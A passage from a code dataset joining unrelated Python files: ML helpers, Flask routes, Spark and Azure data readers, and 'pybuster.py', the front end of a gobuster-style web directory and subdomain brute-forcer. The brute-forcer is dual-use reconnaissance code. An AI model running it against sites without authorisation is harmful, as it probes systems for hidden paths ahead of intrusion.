size.\n \"\"\"\n import nnp.nn.fortran.nn_f95 as f95_api\n import nnp.util\n \n if input_type not in ['a','z']:\n raise GeneralHelperError(\"input type {} not in 'a','z'\".format(input_type))\n\n total_num_atoms = nnp.util.misc.total_atoms_in_set(set_type)\n\n layer_sizes = get_num_nodes()\n\n node_distribution = {\"layer1\":0,\"layer2\":1}\n for _layer in node_distribution: \n num_nodes = layer_sizes[node_distribution[_layer]] \n\n node_distribution[_layer] = np.zeros((num_nodes,total_num_atoms),order='F',\\\n dtype=np.float64)\n\n getattr(f95_api,\"f90wrap_get_node_distribution\")(flat_weights=weights,\\\n set_type={\"test\":2,\"train\":1}[set_type],input_type={'a':1,'z':2}[input_type],\\\n layer_one=node_distribution[\"layer1\"],layer_two=node_distribution[\"layer2\"])\n\n return np.asarray(node_distribution[\"layer1\"],order='C'),\\\n np.asarray(node_distribution[\"layer2\"],order='C')\n\ndef get_num_configs(set_type):\n \"\"\"\n Number of configurations in the given set type in fortran memory\n\n Parameters\n ----------\n set_type : String, allowed values = 'test','train'\n Test or train set\n \"\"\"\n import nnp.nn.fortran.nn_f95 as f95_api\n if set_type not in ['train','test']:\n raise GeneralHelperError(\"set type {} not supported. User error.\".format(set_type))\n \n return getattr(f95_api,\"f90wrap_get_nconf\")(set_type={\"train\":1,\"test\":2}[set_type])\n\ndef get_atoms_per_conf(set_type):\n \"\"\"\n Return 1d array of number of atoms in each configuration for given set type\n\n Parameters\n ----------\n set_type : String, allowed values = 'test','train'\n Test or train set\n \"\"\" \n import nnp.nn.fortran.nn_f95 as f95_api\n if set_type not in ['train','test']:\n raise GeneralHelperError(\"set type {} not supported. User error.\".format(set_type))\n \n Nconf = get_num_configs(set_type)\n\n Natms = np.zeros(Nconf,dtype=np.int16)\n\n for ii in range(1,Nconf+1):\n Natms[ii-1] = getattr(f95_api,\"f90wrap_get_natm\")(\\\n set_type={\"train\":1,\"test\":2}[set_type],conf=ii)\n return Natms\n\ndef get_num_nodes():\n \"\"\"\n Return the number of nodes in each hidden layer from fortran\n \"\"\"\n import nnp.nn.fortran.nn_f95 as f95_api\n num_nodes = np.zeros(2,dtype=np.int32,order='F')\n \n getattr(f95_api,\"f90wrap_get_num_nodes\")(num_nodes)\n \n return np.asarray(num_nodes,order='C')\n\ndef get_reference_energies(set_type):\n \"\"\"\n return list of reference energies from configurations in given set\n \n Parameters\n ----------\n set_type : String, allowed values = 'test','train'\n Test or train set\n \"\"\"\n import nnp.nn.fortran.nn_f95 as f95_api\n energies = np.zeros(get_num_configs(set_type=set_type),dtype=np.float64,order='F')\n\n getattr(f95_api,\"f90wrap_get_ref_energies\")(set_type={\"train\":1,\"test\":2}[set_type],\\\n ref_energies=energies)\n\n return np.asarray(energies,order='C')\n\ndef reduced_second_layer_distribution(weights,set_type=\"train\"):\n \"\"\"\n Return distribution of sum_k^atoms z_{jk}^{(2)}\n \"\"\"\n import nnp.nn.fortran.nn_f95 as f95_api\n import nnp.util\n \n total_num_atoms = nnp.util.misc.total_atoms_in_set(set_type)\n\n\n layer_sizes = get_num_nodes()\n\n node_distribution = {\"layer1\":0,\"layer2\":1}\n for _layer in node_distribution:\n num_nodes = layer_sizes[node_distribution[_layer]] \n\n node_distribution[_layer] = np.zeros((num_nodes,total_num_atoms),order='F',\\\n dtype=np.float64)\n\n getattr(f95_api,\"f90wrap_get_node_distribution\")(flat_weights=weights,\\\n set_type={\"test\":2,\"train\":1}[set_type],input_type={\"a\":1,\"z\":2}['z'],\\\n layer_one=node_distribution[\"layer1\"],layer_two=node_distribution[\"layer2\"])\n\n # atoms in each configuration\n atoms_per_conf = get_atoms_per_conf(set_type=set_type)\n\n reduced_distribution = np.zeros((atoms_per_conf.shape[0],layer_sizes[1]),dtype=np.float64)\n\n cntr = 0\n for _conf in range(reduced_distribution.shape[0]):\n natm = atoms_per_conf[_conf]\n\n reduced_distribution[_conf,:] = np.sum(node_distribution[\"layer2\"][:,cntr:cntr+natm],\\\n axis=1)[:]\n #reduced_distribution[_conf,:] = np.average(node_distribution[\"layer2\"][:,cntr:cntr+natm],\\\n # axis=1)[:]\n \n # book keeping\n cntr += natm\n \n return np.asarray(reduced_distribution).T\n\nclass GeneralHelperError(Exception):\n pass\n","repo_name":"andrew31416/nnp","sub_path":"nn/helper_funcs.py","file_name":"helper_funcs.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14522323464","text":"\"\"\"\nModule containing user-related routes for the Events-App, Team Spitfire.\n\"\"\"\n\nfrom flask import Blueprint, session, jsonify\nfrom Event.models.users import Users, likes\nfrom Event.models.comments import Comments\nfrom Event.utils import is_logged_in, query_one_filtered\n\nlikes = Blueprint(\"likes\", __name__, url_prefix=\"/api/likes\")\n\n@likes.route(\"/\",\n methods=[\"GET\"],\n )\ndef number_of_likes(comment_id):\n \"\"\"\n Retrieves the number of likes for a given comment.\n\n Args:\n comment_id (string): The ID of the comment for which to retrieve the number of likes.\n\n Returns:\n JSON response: A JSON response containing the number of likes for the given comment.\n\n Example Usage:\n GET /likes/12345\n Input: comment_id = \"12345\"\n Output: \n {\n \"message\": \"Number of likes\",\n \"data\": 5\n }\n \"\"\"\n is_logged_in(session)\n try:\n comment = query_one_filtered(Comments, id=comment_id)\n if not comment:\n return jsonify(\n {\n \"error\": \"Not Found\",\n \"message\": \"Event Not Found\",\n }\n ), 404\n number_of_likes = len(comment.user_likes)\n return jsonify(\n {\n \"message\": \"Number of likes\", \n \"data\": f\"{number_of_likes}\"\n }\n ), 200\n \n except Exception as exc:\n return jsonify(\n {\n \"error\": \"Forbidden\",\n \"message\": \"you are not allowed to perform such actions\",\n }\n ), 403\n\n\n\n\n\n@likes.route(\"/\",\n methods=[\"POST\"],\n )\ndef like_and_unlike_comment(comment_id):\n \"\"\"\n Like or unlike a comment.\n\n Args:\n comment_id (str): The ID of the comment to be liked or unliked.\n\n Returns:\n dict: A success response with the message \"liked/unliked\" and the updated number of likes.\n An error response if the user is not logged in or if the comment or user object is not found.\n \"\"\"\n\n user_id = is_logged_in(session) \n\n\n #THIS GETS THE COMMENT OBJECT \n try:\n user = query_one_filtered(Users, id=user_id)\n comment = query_one_filtered(Comments, id=comment_id)\n if not comment or not user:\n return jsonify(\n {\n \"error\": \"Not Found\",\n \"message\": \"Event Not Found\",\n }\n ), 404\n if comment in user.likes:\n user.likes.remove(comment)\n user.update()\n return jsonify(\n {\n \"message\": \"unliked\",\n \"data\": len(comment.user_likes)\n }\n ), 200\n\n # FOR LIKES SCENARIO\n user.likes.append(comment)\n user.update()\n return jsonify(\n {\n \"message\": \"liked\", \n \"data\": len(comment.user_likes),\n }\n ), 200\n \n except Exception as exc:\n return jsonify(\n {\n \"error\": \"Forbidden\",\n \"message\": \"you are not allowed to perform such actions\",\n }\n ), 403\n","repo_name":"kevinkoech357/Spitfire-events-backend","sub_path":"Event/likes/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"28686978450","text":"from pyspark import SparkContext, SparkConf\nimport re\n\nif __name__==\"__main__\":\n #create a SparkContext object\n conf = SparkConf().setAppName(\"top10_business\").setMaster(\"local\")\n sc = SparkContext(conf=conf)\n #read files\n business_rdd = sc.textFile(\"business.csv\")\n review_rdd = sc.textFile(\"review.csv\")\n #map:business_id and user_id\n reviewMap_rdd=review_rdd.map(lambda x:(re.split(\"::\", x)[2], re.split(\"::\", x)[1]))\n #delete one user multiple rate in same business\n distinct_rdd=reviewMap_rdd.distinct()\n #caculate rate number of business\n #???????reduceByKey\n number_rdd=distinct_rdd.map(lambda x:(x[0],1)).reduceByKey(lambda x,y:x+y)\\\n .sortBy(lambda x: x[1], ascending=False, numPartitions=1)\n businessMap_rdd=business_rdd.map(lambda x:(re.split(\"::\", x)[0], (re.split(\"::\", x)[1],re.split(\"::\",x)[2])))\n #('piXuRfZ81xFGA64WFJrKkQ', (('926 Broxton AveWestwoodLos Angeles, CA 90024', 'List(Food, Desserts, Bakeries, Ice Cream & Frozen Yogurt)'), 2634)\n join_rdd=businessMap_rdd.join(number_rdd).distinct().top(10, key=lambda t: t[1][1])\n #print(join_rdd)\n print=sc.parallelize(join_rdd).saveAsTextFile(\"./top10_business\")\n\n\n\n\n\n\n\n\n","repo_name":"runzezhang/Big-Data-Framework-Demos","sub_path":"Spark Practice/Source Code/top10_business.py","file_name":"top10_business.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"30350966802","text":"from datetime import datetime\nimport re\n\n\nUNITS = {\n 'ones': 10**0,\n 'tens': 10**1,\n 'hundreds': 10**2,\n 'thousands': 10**3,\n 'millions': 10**6,\n 'billions': 10**9,\n 'trillions': 10**12\n}\n\n\ndef as_is(s):\n ''' returns string with no leading/trailing spaces '''\n return s.strip()\n\n\ndef as_str(s):\n ''' returns string with no commas, forward slashes and\n spaces converted to underscores, and letters all to lowercase '''\n s = s.lower().strip().replace(',', '')\n return re.sub(r'[\\s/]', '_', s)\n\n\ndef as_int(s):\n ''' returns only dashes and numbers '''\n s = re.sub(r'[^-\\d]', '', s.strip())\n try:\n return int(s)\n except ValueError:\n return None\n\n\ndef as_float(s):\n ''' returns dashes, periods, and numberic values '''\n s = re.sub(r'[^-.\\d]', '', s.strip())\n try:\n return float(s)\n except ValueError:\n return None\n\n\ndef as_currency(s):\n ''' returns only dashes, dollars, periods, and numbers '''\n return re.sub(r'[^-$.\\d]', '', s.strip())\n\n\ndef as_datetime(s):\n try:\n return (datetime\n .strptime(s.strip(), \"%B %d, %Y\")\n .isoformat())\n except ValueError:\n return None\n\n\ndef as_units(s):\n s = s.strip()\n if not s:\n return None, None, None\n matched = re.match(r'\\(([A-Z][a-z]+)?\\s?([A-Z]{1,4})?\\s?(.)?\\)', s)\n denom, country, currency = matched.groups()\n try:\n denom = denom.lower()\n except AttributeError:\n pass\n return UNITS.get(denom), country, currency\n","repo_name":"jonathanrfox/mergerstat-html-scraper","sub_path":"mergerstat_scraper/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1359685406","text":"\n# coding: utf-8\n\nimport pandas as pd\nimport spacy\nnlp = spacy.load('en')\nimport fuzzywuzzy\nfrom fuzzywuzzy import fuzz\n\ndata_path = \"data/RoB-data-w-uids.csv\"\ntp = pd.read_csv(data_path, chunksize=10000)\ndf = pd.concat(tp, ignore_index=True)\ndf = df.dropna(subset=[\"fulltext\"]) # drop rows where we don't have full texts\n#df = df.drop(['Unnamed: 0'], axis=1)\n\ndef get_col_names(domain_str):\n return (domain_str + \"-judgment\", domain_str + \"-rationale\") \n\ndef get_quote(rationale_str):\n Q = \"Quote:\"\n if Q in rationale_str:\n # annoying but sometimes there are different quote chars used (?!)\n # so we normalize here. hacky.\n rationale_str = rationale_str.replace('“', '\"').replace('”', '\"')\n if not '\"' in rationale_str:\n print(\"no rationale string! {0}\".format(rationale_str))\n return None \n try:\n return rationale_str[rationale_str.index(Q):].split('\"')[1]\n except:\n import pdb; pdb.set_trace()\n return None \n\ndef is_sent_match(rationale, candidate, threshold=90, min_k=5):\n # assume rationales need to be at least k words.\n if len(candidate.split(\" \")) < min_k:\n return False \n \n return fuzz.token_sort_ratio(rationale, candidate) >= threshold\n\n\n'''\n 'Random sequence generation-judgment',\n 'Random sequence generation-rationale',\n 'Allocation concealment-judgment',\n 'Allocation concealment-rationale',\n 'Blinding of participants and personnel-mortality-judgment',\n 'Blinding of participants and personnel-mortality-rationale',\n 'Blinding of participants and personnel-objective-judgment',\n 'Blinding of participants and personnel-objective-rationale',\n 'Blinding of participants and personnel-subjective-judgment',\n 'Blinding of participants and personnel-subjective-rationale',\n 'Blinding of participants and personnel-all-judgment',\n 'Blinding of participants and personnel-all-rationale',\n 'Blinding of outcome assessment-mortality-judgment',\n 'Blinding of outcome assessment-mortality-rationale',\n 'Blinding of outcome assessment-objective-judgment',\n 'Blinding of outcome assessment-objective-rationale',\n 'Blinding of outcome assessment-subjective-judgment',\n 'Blinding of outcome assessment-subjective-rationale',\n 'Blinding of outcome assessment-all-judgment',\n 'Blinding of outcome assessment-all-rationale',\n'''\n\n\n'''\nConsume RoB data in the CSV; convert to RA-CNN style data.\n'''\nMAX_FT_LEN = 15000 # covers 99%+ of cases; there is one outlier with 2902523, which breaks things...\ndef convert_df_to_training_data(path=\"RoB_data.csv\", study_range=None):\n \n\n domain_name_map = {\"bpp\":\"Blinding of participants and personnel\", \n \"rsg\":\"Random sequence generation\",\n \"ac\":\"Allocation concealment\",\n \"boa\":\"Blinding of outcome assessment\"}\n \n \n # here we construct a dictionary to be converted to a DataFrame\n # for output.\n # note that RSG and AC are only overall.\n d = {\"pmid\":[], \"doi\":[], \"doc_id\": [], \"sentence\":[], \n \"rsg-rationale\":[], \"rsg-doc-judgment\":[],\n \"ac-rationale\":[], \"ac-doc-judgment\":[], \n \"bpp-rationale-all\":[], \"bpp-doc-judgment-all\":[],\n \"bpp-rationale-mortality\":[], \"bpp-doc-judgment-mortality\":[],\n \"bpp-rationale-objective\":[], \"bpp-doc-judgment-objective\":[],\n \"bpp-rationale-subjective\":[], \"bpp-doc-judgment-subjective\":[],\n \"boa-rationale-all\":[], \"boa-doc-judgment-all\":[],\n \"boa-rationale-mortality\":[], \"boa-doc-judgment-mortality\":[],\n \"boa-rationale-objective\":[], \"boa-doc-judgment-objective\":[],\n \"boa-rationale-subjective\":[], \"boa-doc-judgment-subjective\":[]}\n \n outcome_categories = [\"mortality\", \"objective\", \"subjective\", \"all\"]\n \n rows_to_process = list(df.iterrows())\n for index, row in rows_to_process:\n if (index % 50) == 0:\n print (\"on study {0}\".format(index))\n \n full_text = row[\"fulltext\"][:MAX_FT_LEN]\n \n document = nlp(full_text)\n sentences = list(document.sents)\n is_rationale = []\n for sent in sentences:\n sent = sent.string\n cur_pmid = row[\"pmid\"]\n if pd.isnull(cur_pmid):\n cur_pmid = 0\n\n cur_doi = row[\"doi\"]\n if pd.isnull(cur_doi):\n cur_doi = \"missing\"\n\n '''\n if cur_pmid == 0 and cur_doi == \"missing\":\n import pdb; pdb.set_trace()\n elif cur_pmid != 0:\n doc_id = str(int(cur_pmid))\n else:\n doc_id = cur_doi \n '''\n\n d[\"doc_id\"].append(row[\"uid\"])\n d[\"doi\"].append(cur_doi)\n d[\"pmid\"].append(cur_pmid) \n d[\"sentence\"].append(sent)\n #d[\"doc_id\"].append(doc_id)\n\n for abbrv, domain in list(domain_name_map.items()):\n domain_rationale, rationale_field_key = None, None\n if abbrv in [\"rsg\", \"ac\"]:\n # simple case; only overall judgment\n judgment_col, rationale_col = get_col_names(domain)\n if not pd.isnull(row[rationale_col]):\n domain_rationale = get_quote(row[rationale_col])\n domain_judgment = row[judgment_col]\n \n domain_field_key = abbrv + \"-doc-judgment\"\n d[domain_field_key].append(domain_judgment)\n \n rationale_field_key = abbrv + \"-rationale\"\n if not (domain_rationale is None) and is_sent_match(domain_rationale, sent):\n d[rationale_field_key].append(1)\n else:\n d[rationale_field_key].append(0)\n \n else:\n # more complicated, need to loop over outcome\n # categories/types\n for outcome_type in outcome_categories:\n domain_rationale, rationale_field_key = None, None\n domain_plus_outcome = domain + \"-\" + outcome_type\n judgment_col, rationale_col = get_col_names(domain_plus_outcome)\n #if \"Patients were assessed\" in sent:\n # import pdb; pdb.set_trace()\n if not pd.isnull(row[rationale_col]):\n domain_rationale = get_quote(row[rationale_col])\n domain_judgment = row[judgment_col]\n\n domain_field_key = abbrv + \"-doc-judgment-\" + outcome_type\n d[domain_field_key].append(domain_judgment)\n \n rationale_field_key = abbrv + \"-rationale-\" + outcome_type\n if not (domain_rationale is None) and is_sent_match(domain_rationale, sent):\n d[rationale_field_key].append(1)\n else:\n d[rationale_field_key].append(0)\n \n \n return pd.DataFrame(d)\n\n\n\ndef put_together(outpath=\"data/RoB-data-2-all.csv\"):\n increment_by = 500\n cur_start, cur_end = 0, 500\n N = 28428\n\n df = None\n while cur_start < N: \n # print (\"cur_start: {0}; cur_end: {1}\")\n cur_df = pd.read_csv(\"data/RoB-data-2-{0}--{1}.csv\".format(cur_start, cur_end))\n\n if df is None:\n df = cur_df\n else:\n df = pd.concat([df, cur_df])\n \n cur_start += increment_by\n cur_end += increment_by\n\n df.to_csv(outpath)\n\ndef main():\n formatted_data = convert_df_to_training_data()\n formatted_data.to_csv(\"RoB-data-4.csv\")\n \n\n # create a doc_id category: this is PMID where available, else DOI\n # if both unavailable (???) drop\n # ASSUMPTION: no PMID -> not in PMID\n formatted_data.to_csv(\"RoB-data-4.csv\")\n\n '''\n increment_by = 500\n cur_start, cur_end = 0, 500\n N = 28432\n\n while cur_start < N: \n # print (\"cur_start: {0}; cur_end: {1}\")\n formatted_data = convert_df_to_training_data(study_range=[cur_start, cur_end])\n formatted_data.to_csv(\"data/RoB-data-2-{0}--{1}.csv\".format(cur_start, cur_end))\n cur_start += increment_by\n cur_end += increment_by\n '''\n\n\n\ndef train_dev_test_split(RA_CNN_data_path=\"data/RoB-data-3-all.csv\"):\n ####\n # First pull out duplicates. Priority is to identify based on PMIDs, then default to DOI. \n ####\n # df is the original data file that we formatted! \n all_data = pd.read_csv(RA_CNN_data_path) \n\n\n\ndef get_duplicate_ids():\n '''\n Assemble data for testing\n '''\n orig_df = pd.read_csv(\"data/RoB-data-w-uids.csv\")\n duplicate_uids = []\n for idx, row in orig_df.iterrows():\n cur_cdno = row['cdno']\n cur_uid = row['uid']\n # duplicates are studies w/same uid but in *different*\n # review\n cur_duplicates = orig_df[(orig_df['uid'] == cur_uid) & (orig_df['cdno'] != cur_cdno)]\n if len(cur_duplicates) > 0:\n duplicate_uids.append(cur_uid)\n\n return list(set(duplicate_uids))\n\nif __name__ == \"__main__\": \n main()\n\n","repo_name":"bwallace/RoB-2.0","sub_path":"RoB_format_data.py","file_name":"RoB_format_data.py","file_ext":"py","file_size_in_byte":9258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18853409155","text":"from . import MetadataInterface, utf, b64\nimport urllib.parse, urllib.request\nimport json\nfrom threading import Timer\nfrom doreah.logging import log\n\nclass Spotify(MetadataInterface):\n\tname = \"Spotify\"\n\tidentifier = \"spotify\"\n\n\tsettings = {\n\t\t\"apiid\":\"SPOTIFY_API_ID\",\n\t\t\"secret\":\"SPOTIFY_API_SECRET\"\n\t}\n\n\tmetadata = {\n\t\t\"trackurl\": \"https://api.spotify.com/v1/search?q=artist:{artist}%20track:{title}&type=track&access_token={token}\",\n\t\t\"artisturl\": \"https://api.spotify.com/v1/search?q=artist:{artist}&type=artist&access_token={token}\",\n\t\t\"response_type\":\"json\",\n\t\t\"response_parse_tree_track\": [\"tracks\",\"items\",0,\"album\",\"images\",0,\"url\"],\n\t\t\"response_parse_tree_artist\": [\"artists\",\"items\",0,\"images\",0,\"url\"],\n\t\t\"required_settings\": [\"apiid\",\"secret\"],\n\t}\n\n\tdef authorize(self):\n\n\t\tif self.active_metadata():\n\n\t\t\ttry:\n\t\t\t\tkeys = {\n\t\t\t\t\t\"url\":\"https://accounts.spotify.com/api/token\",\n\t\t\t\t\t\"method\":\"POST\",\n\t\t\t\t\t\"headers\":{\n\t\t\t\t\t\t\"Authorization\":\"Basic \" + b64(utf(self.settings[\"apiid\"] + \":\" + self.settings[\"secret\"])).decode(\"utf-8\")\n\t\t\t\t\t},\n\t\t\t\t\t\"data\":bytes(urllib.parse.urlencode({\"grant_type\":\"client_credentials\"}),encoding=\"utf-8\")\n\t\t\t\t}\n\t\t\t\treq = urllib.request.Request(**keys)\n\t\t\t\tresponse = urllib.request.urlopen(req)\n\t\t\t\tresponsedata = json.loads(response.read())\n\t\t\t\tif \"error\" in responsedata:\n\t\t\t\t\tlog(\"Error authenticating with Spotify: \" + responsedata['error_description'])\n\t\t\t\t\texpire = 3600\n\t\t\t\telse:\n\t\t\t\t\texpire = responsedata.get(\"expires_in\",3600)\n\t\t\t\t\tself.settings[\"token\"] = responsedata[\"access_token\"]\n\t\t\t\t\tlog(\"Successfully authenticated with Spotify\")\n\t\t\t\tTimer(expire,self.authorize).start()\n\t\t\texcept Exception as e:\n\t\t\t\tlog(\"Error while authenticating with Spotify: \" + repr(e))\n","repo_name":"krateng/maloja","sub_path":"maloja/thirdparty/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":770,"dataset":"github-code","pt":"32"} +{"seq_id":"74849453530","text":"import sys\nimport time\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('mode', type=str, help=\"Mode to run pybuster [dir,subdomain]\")\nparser.add_argument('--wordlist', type=str, required=True, help=\"Full path to wordlist\")\nparser.add_argument('--threads', type=int, required=True, help=\"Number of threads to use\")\nparser.add_argument('--url', type=str, required=True, help=\"URL to check\")\nparser.add_argument('--success', type=str, required=False, help=\"Success status codes, split by comma [optional]\")\nargs = parser.parse_args()\n\nw = args.wordlist\nwith open(w, 'r') as file:\n wordlist = file.read().splitlines()\nurl = args.url\n\nmode = args.mode\n\nthreads = args.threads\n\ns = args.success or '200'\n\nlcltime = time.localtime()\n\nout_time = f\"{lcltime.tm_year}/{lcltime.tm_mon}/{lcltime.tm_mday} {lcltime.tm_hour}:{lcltime.tm_min}:{lcltime.tm_sec}\" \n\nprint(f\"\"\"\n#gobuster start; newlines; \\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\n{\"=\"*66}\nPyBuster \nby Glaukio L (@glaukiol1) | Inspired by gobuster \n{\"=\"*66}\n[+] Mode : {mode}\n[+] Url/Domain : {url}\n[+] Wordlist : {w}\n[+] Status codes : {s}\n[+] Threads: : {threads}\n{\"=\"*66}\n{out_time} Starting pybuster\n{\"=\"*66}\nPress Enter to exit out all the threads\n{\"=\"*66}\"\"\"\n)\nfrom threading import Thread\n\nimport src.script as script\nimport src.splittingt as splittingt\npipe = {\"found\": 0, \"dirs\": [], \"total_done\": 0, \"errors\": 0, \"total\": wordlist.__len__(), \"run\": True}\nts = []\ndef main():\n for x in range(threads):\n Thread(target=script._run,args=(splittingt.main(wordlist,threads)[x],url,s,pipe,x,mode)).start()\nif __name__ == '__main__':\n main()\n starttime = time.time()\n lcltime = time.localtime()\n\n out_time = f\"{lcltime.tm_year}/{lcltime.tm_mon}/{lcltime.tm_mday} {lcltime.tm_hour}:{lcltime.tm_min}:{lcltime.tm_sec}\" \n print(f'{out_time} pybuster threads started\\n{\"=\"*66}')\n input(\"\")\n pipe[\"run\"] = False\n lcltime = time.localtime()\n out_time = f\"{lcltime.tm_year}/{lcltime.tm_mon}/{lcltime.tm_mday} {lcltime.tm_hour}:{lcltime.tm_min}:{lcltime.tm_sec}\" \n print(f\"\"\"{\"=\"*66}\nDirectories checked: {pipe[\"total_done\"]}/{pipe[\"total\"]} (total)\nDirectories found: {pipe[\"found\"]}\nHard errors: {pipe[\"errors\"]}\nTime: {int(time.time()-starttime)} seconds\n{\"=\"*66}\n{out_time} Finished \n{\"=\"*66}\n\"\"\")\n print(\"Quitting all instances, you may do CTRL+C to speed this up\")\n sys.exit()","repo_name":"glaukiol1/pybuster","sub_path":"pybuster.py","file_name":"pybuster.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40714988043","text":"from direct.directnotify import DirectNotifyGlobal\n\nfrom pirates.world.DistributedGAConnectorAI import DistributedGAConnectorAI\n\n\nclass DistributedGATunnelAI(DistributedGAConnectorAI):\n notify = DirectNotifyGlobal.directNotify.newCategory('DistributedGATunnelAI')\n\n def __init__(self, air):\n DistributedGAConnectorAI.__init__(self, air)\n\n def sendLeaveTunnelDone(self):\n avatar = self.air.doId2do.get(self.air.getAvatarIdFromSender())\n if not avatar:\n return\n\n if not self.air.worldGridManager.hasInterestHandleByZoneId(self.getParentObj(), avatar, self.zoneId):\n self.notify.warning('Cannot handle leave tunnel done for avatar: %d, '\n 'avatar does not have an interest handle for object with doId: %d!' % (avatar.doId, self.doId))\n\n return\n\n messenger.send(avatar.uniqueName('leave-tunnel-done'))\n","repo_name":"PiratesOnlineClassic/pirates-online-classic","sub_path":"pirates/world/DistributedGATunnelAI.py","file_name":"DistributedGATunnelAI.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"8903096377","text":"\"\"\"Microsoft Azure storage accounts plugin to read Azure storage accounts data.\n\nThis module defines the :class:`AzStorageAccount` class that retrieves storage\naccounts data from Microsoft Azure.\n\n\"\"\"\n\n\nimport logging\n\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.resource import SubscriptionClient\nfrom azure.mgmt.storage import StorageManagementClient\nfrom msrestazure import tools\n\nfrom cloudmarker import ioworkers, util\n\n_log = logging.getLogger(__name__)\n\n\nclass AzStorageAccount:\n \"\"\"Azure storage account plugin.\"\"\"\n\n def __init__(self, tenant, client, secret, processes=4,\n threads=30, _max_subs=0, _max_recs=0):\n \"\"\"Create an instance of :class:`AzStorageAccount` plugin.\n\n Note: The ``_max_subs`` and ``_max_recs`` arguments should be\n used only in the development-test-debug phase. They should not\n be used in production environment. This is why we use the\n convention of beginning their names with underscore.\n\n Arguments:\n tenant (str): Azure subscription tenant ID.\n client (str): Azure service principal application ID.\n secret (str): Azure service principal password.\n processes (int): Number of worker processes to run.\n threads (int): Number of worker threads to run.\n _max_subs (int): Maximum number of subscriptions to fetch\n data for if the value is greater than 0.\n _max_recs (int): Maximum number of storage accounts records\n to fetch for each subscription.\n\n \"\"\"\n self._credentials = ServicePrincipalCredentials(\n tenant=tenant,\n client_id=client,\n secret=secret,\n )\n self._tenant = tenant\n self._processes = processes\n self._threads = threads\n self._max_subs = _max_subs\n self._max_recs = _max_recs\n _log.info('Initialized; tenant: %s; processes: %s; threads: %s',\n self._tenant, self._processes, self._threads)\n\n def read(self):\n \"\"\"Return an Azure storage account record.\n\n Yields:\n dict: An Azure storage account record.\n\n \"\"\"\n yield from ioworkers.run(self._get_tenant_storage_accounts,\n self._get_storage_account_properties,\n self._processes, self._threads,\n __name__)\n\n def _get_tenant_storage_accounts(self):\n \"\"\"Get storage accounts from all subscriptions in a tenant.\n\n The yielded tuples when unpacked would become arguments for\n :meth:` _get_storage_account_properties`. Each such tuple represents a\n single unit of work that :meth:` _get_storage_account_properties` can\n work on independently in its own worker thread.\n\n Yields:\n tuple: A tuple which when unpacked forms valid arguments for\n :meth:` _get_storage_account_properties`.\n\n \"\"\"\n try:\n tenant = self._tenant\n creds = self._credentials\n sub_client = SubscriptionClient(creds)\n sub_list = sub_client.subscriptions.list()\n\n for sub_index, sub in enumerate(sub_list):\n sub = sub.as_dict()\n _log.info('Found %s', util.outline_az_sub(sub_index,\n sub, tenant))\n yield from self._get_subscription_storage_accounts(sub_index,\n sub)\n # Break after pulling data for self._max_subs number of\n # subscriptions. Note that if self._max_subs is 0 or less,\n # then the following condition never evaluates to True.\n if sub_index + 1 == self._max_subs:\n _log.info('Stopping subscriptions fetch due to '\n '_max_subs: %d; tenant: %s', self._max_subs,\n tenant)\n break\n\n except Exception as e:\n _log.error('Failed to fetch subscriptions; %s; error: %s: %s',\n util.outline_az_sub(sub_index, sub, tenant),\n type(e).__name__, e)\n\n def _get_subscription_storage_accounts(self, sub_index, sub):\n \"\"\"Get storage accounts from a single subscrption.\n\n Yields:\n tuple: A tuple which when unpacked forms valid arguments for\n :meth:` _get_storage_account_properties`.\n\n \"\"\"\n try:\n tenant = self._tenant\n creds = self._credentials\n sub_id = sub.get('subscription_id')\n client = StorageManagementClient(creds, sub_id)\n storage_account_list = client.storage_accounts.list()\n\n for t in enumerate(storage_account_list):\n (storage_account_index, storage_account) = t\n storage_account = storage_account.as_dict()\n\n _log.info('Found storage account #%d: %s; %s',\n storage_account_index, storage_account.get('name'),\n util.outline_az_sub(sub_index, sub, tenant))\n yield (storage_account_index, storage_account, sub_index, sub)\n\n if storage_account_index + 1 == self._max_recs:\n _log.info('Stopping storage accounts fetch due '\n 'to _max_recs: %d; %s', self._max_recs,\n util.outline_az_sub(sub_index, sub, tenant))\n break\n except Exception as e:\n _log.error('Failed to fetch storage accounts; %s; error: %s: %s',\n util.outline_az_sub(sub_index, sub, tenant),\n type(e).__name__, e)\n\n def _get_storage_account_properties(self, storage_account_index,\n storage_account, sub_index, sub):\n \"\"\"Get storage account records with property details.\n\n Arguments:\n storage_account_index (int): Storage account index (logging only).\n storage_account (dict): Raw storage account record.\n sub_index (int): Subscription index (for logging only).\n sub (Subscription): Azure subscription object.\n\n Yields:\n dict: An Azure storage account record with property details.\n\n \"\"\"\n act_name = storage_account.get('name')\n _log.info('Working on storage account #%d: %s; %s',\n storage_account_index,\n act_name,\n util.outline_az_sub(sub_index, sub, self._tenant))\n try:\n creds = self._credentials\n sub_id = sub.get('subscription_id')\n client = StorageManagementClient(creds, sub_id)\n account_id = storage_account.get('id')\n rg_name = tools.parse_resource_id(account_id)['resource_group']\n\n properties = client.storage_accounts.get_properties(rg_name,\n act_name)\n properties = properties.as_dict()\n yield _process_storage_account_properties(storage_account_index,\n storage_account,\n properties,\n sub_index,\n sub,\n self._tenant)\n except Exception as e:\n _log.error('Failed to fetch properties for storage 